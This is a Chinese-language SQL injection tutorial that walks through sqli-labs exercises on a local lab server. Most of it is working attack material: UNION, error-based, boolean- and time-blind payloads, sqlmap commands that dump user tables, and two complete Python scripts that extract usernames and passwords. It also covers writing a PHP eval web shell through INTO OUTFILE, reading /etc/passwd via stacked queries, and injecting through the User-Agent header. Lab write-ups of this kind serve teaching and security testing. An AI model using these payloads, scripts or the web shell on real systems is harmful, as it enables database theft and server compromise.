SQL注入即是指web应用程序对用户输入数据的合法性没有判断或过滤不严,攻击者可以在web应用程序中事先定义好的查询语句的结尾上添加额外的SQL语句,在管理员不知情的情况下实现非法操作,以此来实现欺骗数据库服务器执行非授权的任意查询,从而进一步得到相应的数据信息。
把用户输入的数据当做代码执行。
①用户能控制输入
②原本要执行的代码,拼接了用户输入的数据然后进行执行
①?id=1 and 1=1 和?id=1 and 1=2
进行测试如果1=1页面显示正常,并且1=2页面报错或者页面部分数据显示不正常,那么可以确定此处为数字型注入。
SELECT * FROM users WHERE id=1 and 1=2
②?id=1' and 1=1 -- q
和?id=1' and 1=2 -- q
进行测试如果1=1页面显示正常,并且1=2页面报错或者页面部分数据显示不正常,那么可以确定此处为字符型注入。
SELECT * FROM users WHERE id='1' and 1=2-- q
字符型还可以这么判断:
?id=1'and 1=1 and '1'='1
与?id=1'and 1=2 and '1'='1
UNION 操作符上下两个结果集的列数必须相等,否则会报错。因此需要先判断出列数。
less-1:
通过测试?id=1' and 1=1 -- q
和?id=1' and 1=2 -- q
,发现为字符型注入。
?id=1' order by 3 -- q
判断出列数为3:
?id=-1' union select 1,2,3 -- q
判断出回显位在2,3位置:
?id=-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security' -- q
爆出表名有:emails,referers,uagents,users
?id=-1 union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'
爆出列名有:id,username,password
?id=-1 union select 1,2,group_concat(username ,id , password) from users
爆出账号密码:Dumb1Dumb,Angelina2I-kill-you,Dummy3p@ssword,secure4crappy,stupid5stupidity,superman6genious,batman7mob!le,admin8admin,admin19admin1,admin210admin2,admin311admin3,dhakkan12dumbo,admin414admin4
–dbs 获取库名
-D 指定库
–tables 表
sqlmap.py -u http://127.0.0.1/sqli-labs/Less-1/?id=1 --dbs -D mysql --tables
-T 指定表
–columns 跑字段
–dump 获取数据(高危指令)
sqlmap.py -u http://127.0.0.1/sqli-labs/Less-1/?id=1 --dbs -D mysql -T user --dump
python sqlmap.py -u 127.0.0.1/sql/less-1/?id=1 --dbs
跑出数据库名:
python sqlmap.py -u 127.0.0.1/sql/less-1/?id=1 -D security --tables
跑出数据库security的表名:
python sqlmap.py -u 127.0.0.1/sql/less-1/?id=1 -D security -T users --columns
跑出users表的列名:
python sqlmap.py -u 127.0.0.1/sql/less-1/?id=1 -D security -T users --dump
跑出账号密码:
报错注入是通过特殊函数错误使用并使其输出错误结果来获取信息的。简单点说,就是在可以进行sql注入的位置,调用特殊的函数执行,利用函数报错使其输出错误结果来获取数据库的相关信息。
在mysql高版本(大于5.1版本)中添加了对XML文档进行查询和修改的函数:
updatexml()
extractvalue()
当这两个函数在执行时,如果出现xml文档路径错误就会产生报错。
less-5:
1' and updatexml(1,concat(0x7e,database(),0x7e,user(),0x7e,@@datadir),1) -- q
1' and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x7e),1) -- q
1' and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users'),0x7e),1) -- q
1' and updatexml(1,concat(0x7e,(select group_concat(username,0x7e,password) from security.users)),1) -- q
同less-1,只需用基础的sqlmap语法就可跑出内容,比起less-1,要改的只有题号less-5:
python sqlmap.py -u 127.0.0.1/sql/less-5/?id=1 -D security -T users --dump
盲注是注入的一种,指的是在不知道数据库返回值的情况下对数据中的内容进行猜测,实施SQL注入。盲注一般分为布尔盲注和基于时间的盲注和报错的盲注。
less-8:
布尔型盲注会返回“对与错”两种结果,“对错”就称为“布尔”。
没有任何提示,因为它把错误信息隐藏了,所以并不能用基于错误的注入,只能用盲注。
?id=1' and '1'='1
?id=1' and '1'='2
确定为单引号字符型注入:
判断库名长度:
?id=1’ and length((database()))=8 – q
确定数据库名长度为8:
逐一字符判断库名:
?id=1’ and ascii(substr((select database()),1,1))=115 – q
语法:substr(a,b,c) a是要截取的字段,b是要截取的位置,c是截取的长度:
确定数据库名的第一个字符的ASCII码值为115,对应字符‘s’
判断表名长度:
?id=1' and length((select group_concat(table_name)from information_schema.tables where table_schema=database()))=29 -- q
逐一表名:
?id=1' and ascii(substr((select group_concat(table_name)from information_schema.tables where table_schema=database()),1,1))=101 -- q
判断字段长度:
?id=1' and length((select group_concat(column_name)from information_schema.columns where table_schema=database() and table_name = 'users' ))=20 -- q
逐一字段名:
?id=1' and ascii(substr((select group_concat(column_name)from information_schema.columns where table_schema=database() and table_name = 'users' ),1,1))=105 -- q
判断字段内容长度:
?id=1' and length((select group_concat(username,password)from users))=175 -- q
逐一字段内容:
?id=1' and ascii(substr((select group_concat(username,password)from users),1,1))=68 -- q
参考脚本:
import requests
import string
url = 'http://127.0.0.1/sql/Less-8/'
def make_payload(query):
return url + "?id=" + query
def make_request(payload):
res = requests.get(payload)
return 'You are in...........' in res.text
# 猜解数据库长度
print('[+] 正在猜解数据库长度......')
db_name_len = 0
for i in range(31):
payload = make_payload("1'and length(database())=%d--+" % i)
if make_request(payload):
db_name_len = i
print('数据库长度为:', db_name_len)
break
else:
print('error!')
# 猜解数据库名字
print("[+] 正在猜解数据库名字......")
db_name = ''
for i in range(1, db_name_len + 1):
for k in string.ascii_lowercase:
payload = make_payload("1'and substr(database(),%d,1)='%s'--+" % (i, k))
if make_request(payload):
db_name += k
break
print("数据库为:", db_name)
# 猜解表的数量
print("[+] 正在猜解表的数量......")
tab_num = 0
while True:
payload = make_payload("1'and (select count(table_name) from information_schema.tables where table_schema='security')=%d--+" % tab_num)
if make_request(payload):
print("%s数据库共有%d张表" % (db_name, tab_num))
break
else:
tab_num += 1
# 猜解表名
print("[+] 开始猜解表名......")
for i in range(1, tab_num + 1):
tab_len = 0
while True:
payload = make_payload("1'and (select length(table_name) from information_schema.tables where table_schema='security' limit %d,1)=%d--+" % (i-1, tab_len))
if make_request(payload):
break
tab_len += 1
if tab_len == 30:
print('error!')
break
tab_name = ''
for j in range(1, tab_len + 1):
for m in string.ascii_lowercase:
payload = make_payload("1'and substr((select table_name from information_schema.tables where table_schema='security' limit %d,1),%d,1)='%s'--+" % (i-1, j, m))
if make_request(payload):
tab_name += m
break
print("[-] 第%d张表名为: %s" % (i, tab_name))
# 猜解表下字段
dump_num = 0
while True:
payload = make_payload("1'and (select count(column_name) from information_schema.columns where table_name='%s')=%d--+" % (tab_name, dump_num))
if make_request(payload):
print("%s表下有%d个字段" % (tab_name, dump_num))
break
dump_num += 1
for a in range(1, dump_num + 1):
dump_len = 0
while True:
payload = make_payload("1'and (select length(column_name) from information_schema.columns where table_name='%s' limit %d,1)=%d--+" % (tab_name, a-1, dump_len))
if make_request(payload):
break
dump_len += 1
if dump_len == 30:
print("error!!")
break
dump_name = ''
for i in range(1, dump_len + 1):
for j in (string.ascii_lowercase + '_-'):
payload = make_payload("1'and substr((select column_name from information_schema.columns where table_name='%s' limit %d,1),%d,1)='%s'--+" % (tab_name, a-1, i, j))
if make_request(payload):
dump_name += j
break
print(dump_name)
# 猜解users表下的username
print("[+] 开始猜解users表下的username......")
usn_num = 0
char = "qwertyuiopasdfghjklzxcvbnmQWERTYUIOPASDFGHJKLZXCVBNM1234567890_-"
while True:
payload = make_payload("1'and (select count(username) from security.users)=%d--+" % usn_num)
if make_request(payload):
break
usn_num += 1
for i in range(1, usn_num + 1):
usn_len = 0
while True:
payload = make_payload("1'and (select length(username) from security.users limit %d,1)=%d--+" % (i-1, usn_len))
if make_request(payload):
break
usn_len += 1
usr_name = ''
for k in range(1, usn_len + 1):
for m in char:
payload = make_payload("1'and substr((select username from security.users limit %d,1),%d,1)='%s'--+" % (i-1, k, m))
if make_request(payload):
usr_name += m
break
print(usr_name)
# 猜解users表下的password
print("[+] 开始猜解users表下的password......")
usn_num = 0
char = "qwertyuiopasdfghjklzxcvbnmQWERTYUIOPASDFGHJKLZXCVBNM1234567890_-@!"
while True:
payload = make_payload("1'and (select count(password) from security.users)=%d--+" % usn_num)
if make_request(payload):
break
usn_num += 1
for i in range(1, usn_num + 1):
usn_len = 0
while True:
payload = make_payload("1'and (select length(password) from security.users limit %d,1)=%d--+" % (i-1, usn_len))
if make_request(payload):
break
usn_len += 1
usr_name = ''
for k in range(1, usn_len + 1):
for m in char:
payload = make_payload("1'and substr((select password from security.users limit %d,1),%d,1)='%s'--+" % (i-1, k, m))
if make_request(payload):
usr_name += m
break
print(usr_name)
时间盲注 和 Bool 盲注很像,区别就是 “参照物” 的不同,时间盲注可以在布尔盲注的基础上结合 if 判断和 sleep() 函数来得到一个时间上的延迟参照,也就可以让我们进行一些判断。也就是所谓的 “时间盲注”,又叫“延时注入”。
less-9
?id=1' and sleep(3)%23
输入id=1时,发现延迟,说明注入成功,注入类型为单引号字符型注入。
?id=1'and if(length(database())=8,sleep(6),1)%23
明显延迟,说明数据库长度为8。
?id=1'and if (left(database(),1)='s',sleep(6),1)%23
发现有明显延迟,则第一个字母为s。
?id=1'and if (left((select table_name from information_schema.tables where table_schema=database() limit3,1),1)='u',sleep(6),1)%23
明显延迟,说明字段第一个字母为u。
参考脚本:
import requests
# 获取数据库名长度
def database_len():
for i in range(1, 10):
url = f"http://127.0.0.1/sqli-labs/Less-9/?id=1' and if(length(database())>{i},1,sleep(2))"
r = requests.get(url + '%23')
if r.elapsed.total_seconds()>2:
print('database_length:', i)
return i
#获取数据库名
def database_name(databaselen):
name = ''
for j in range(1, databaselen+1):
for i in "0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz":
url = "http://127.0.0.1/sqli-labs/Less-8/?id=1' " \
"and if(substr(database(),%d,1)='%s',sleep(2),1)" % (j, i)
#print(url+'%23')
r = requests.get(url + '%23')
if r.elapsed.total_seconds()>2:
name = name + i
break
print('database_name:', name)
# 获取数据库表
def tables_name():
name = ''
for j in range(1, 30):
for i in 'abcdefghijklmnopqrstuvwxyz,':
url = "http://127.0.0.1/sqli-labs/Less-8/?id=1' " \
"and if(substr((select group_concat(table_name) from information_schema.tables " \
"where table_schema=database()),%d,1)='%s',sleep(2),1)" % (j, i)
r = requests.get(url + '%23')
if r.elapsed.total_seconds()>2:
name = name + i
break
print('table_name:', name)
# 获取表中字段
def columns_name():
name = ''
for j in range(1, 30):
for i in 'abcdefghijklmnopqrstuvwxyz,':
url = "http://127.0.0.1/sqli-labs/Less-8/?id=1' " \
"and if(substr((select group_concat(column_name) from information_schema.columns where " \
"table_schema=database() and table_name='users'),%d,1)='%s',sleep(2),1)" % (j, i)
r = requests.get(url + '%23')
if r.elapsed.total_seconds()>2:
name = name + i
break
print('column_name:', name)
# 获取username
def username_value():
name = ''
for j in range(1, 100):
for i in '0123456789abcdefghijklmnopqrstuvwxyz,_-':
url = "http://127.0.0.1/sqli-labs/Less-8/?id=1' " \
"and if(substr((select group_concat(username) from users),%d,1)='%s',sleep(2),1)" % (j, i)
r = requests.get(url + '%23')
if r.elapsed.total_seconds()>2:
name = name + i
break
print('username_value:', name)
# 获取password
def password_value():
name = ''
for j in range(1, 100):
for i in '0123456789abcdefghijklmnopqrstuvwxyz,_-':
url = "http://127.0.0.1/sqli-labs/Less-8/?id=1' " \
"and if(substr((select group_concat(password) from users),%d,1)='%s',sleep(2),1)" % (j, i)
r = requests.get(url + '%23')
if r.elapsed.total_seconds()>2:
name = name + i
break
print('password_value:', name)
if __name__ == '__main__':
dblen = database_len()
database_name(dblen)
tables_name()
columns_name()
username_value()
password_value()
sqlmap语句和上面布尔盲注一样,因为布尔盲注能跑的,也一定能跑时间盲注,只是判断标志不同罢了。
less-18
输入正确的用户名和密码登录成功后会返回user-agent在屏幕上,这里我爆出了用户名和密码均为admin:
可能的注入点就有两个:登录框、请求头UA,阅读源码发现:
登录框那里,要求用户名和密码都必须输入内容但又被过滤了,而use-agent的接收是未经过严格过滤的,所以在user-agent处注入。
利用的语句是这条:
INSERT INTO `security`.`uagents` (`uagent`, `ip_address`, `username`) VALUES ('$uagent', '$IP', $uname)
闭合时需要考虑VALUES位置的闭合,例如1’,1,1)#
在语句中就是这样:
INSERT INTO `security`.`uagents` (`uagent`, `ip_address`, `username`) VALUES ('1',1,1)#', '$IP', $uname)
这样就闭合了VALUES,
在uagent中的pyload就该是:
1',1,updatexml(1,concat(0x7e,database()),1))#
1',1,updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema = database())),1))#
1',1,updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema = database() and table_name = 'users')),1))#
得到users表中的字段名:
1',1,updatexml(1,concat(0x7e,(select group_concat(password) from users)),1))#
存在长度限制,因为报错语句只能回显32位,使用MID()函数提取我们需要的字符。构造pyload如下:
1',1,updatexml(1,concat(0x7e,mid((select group_concat(password) from users),32,32)),1))#
1',1,updatexml(1,concat(0x7e,mid((select group_concat(password) from users),64,32)),1))#
正确登录用户名和密码,登录时用BP抓包,将抓到的包复制到文件1.txt,在user-agent后面添加sqlmap识别的点:
User-Agent: ' * ,1)#
python sqlmap.py -r 1.txt --dbs
-r: sqlmap可以从一个文本文件中获取HTTP请求,这样就可以跳过设置一些其他参数(比如cookie,POST数据,等等)
python sqlmap.py -r 1.txt -D security --tables
python sqlmap.py -r 1.txt -D security -T users --dump
less-7
mysql select into outfile命令
该命令的作用是将被select选择的一行写入一个文件中。
要想拥有写文件权限,需要将mysql配置文件,my.ini中的secure_file_priv=(空),如果没有这一行文件,自行添加,之后重启mysql服务生效。
该题的闭合姿势是:单引号加双引号 '))
?id=1'))and 1=1 -- q
?id=1'))and 1=2 -- q
该题是用outfile写入一句话木马,不过有两个前置条件:
?id=-1' union select 1,2,@@datadir -- q
如图可知我的绝对路径为(注意是反双斜杠):D:\phpStudy\www\sqli\Less-7
写马:
?id=-1')) union select 1,2,'<?php eval(@$_POST["1"]);?>' into outfile"D:\\phpStudy\\WWW\\sqli\\Less-7\\1.php"-- q
回显报错没关系,其实已经写进去了,前提是你的权限打开,如果写入失败请检查是否secure_file_priv=(空)并重启mysql。
使用蚁剑连接:
此题用sqlmap跑的话基础语句就足够,就是简单的盲注,
正确返回You are in… Use outfile…
错误返回You have an error in your SQL syntax。
sqlmap语句:
python sqlmap.py -u 127.0.0.1/sqli/less-7/?id=1 --dbs
明明可以布尔盲注sqlmap却去跑时间盲注,过程太慢了,就不再赘述。
less-38
在SQL 中, 分号(;)是用来表示一条sql 语句的结束。我们在; 结束一个 sql语句后继续构造下一条语句, 会不会一起执行?因此这个想法也就造就了堆叠注入。它与union联合注入的区别在于它可以执行任意语句。
一旦存在堆叠注入,它对数据库的危害极大,因为它可以任意增删改查数据库。堆叠注入一般不会存在,限制多语句执行就可以阻止堆叠注入。
此题与less-1一样,是单引号字符型注入,也是同样的注入方法。
新建一个表select * from users;create table A like users;
删除创建的A表select * from users;drop table test;
查询数据select * from users;select B,C,D;
加载文件select * from users;select load_file('/etc/passwd');
增加一条数据select * from users;insert into users values(18,'zhong','zhong');
sqlmap语句:python sqlmap.py -u 127.0.0.1/sqli/less-38/?id=
python sqlmap.py -u 127.0.0.1/sqli/less-38/?id= --dbs
跑security数据库中的数据表:
python sqlmap.py -u 127.0.0.1/sqli/less-38/?id= -D security --tables
跑出users表内的内容:
python sqlmap.py -u 127.0.0.1/sqli/less-38/?id= -D security -T users --dump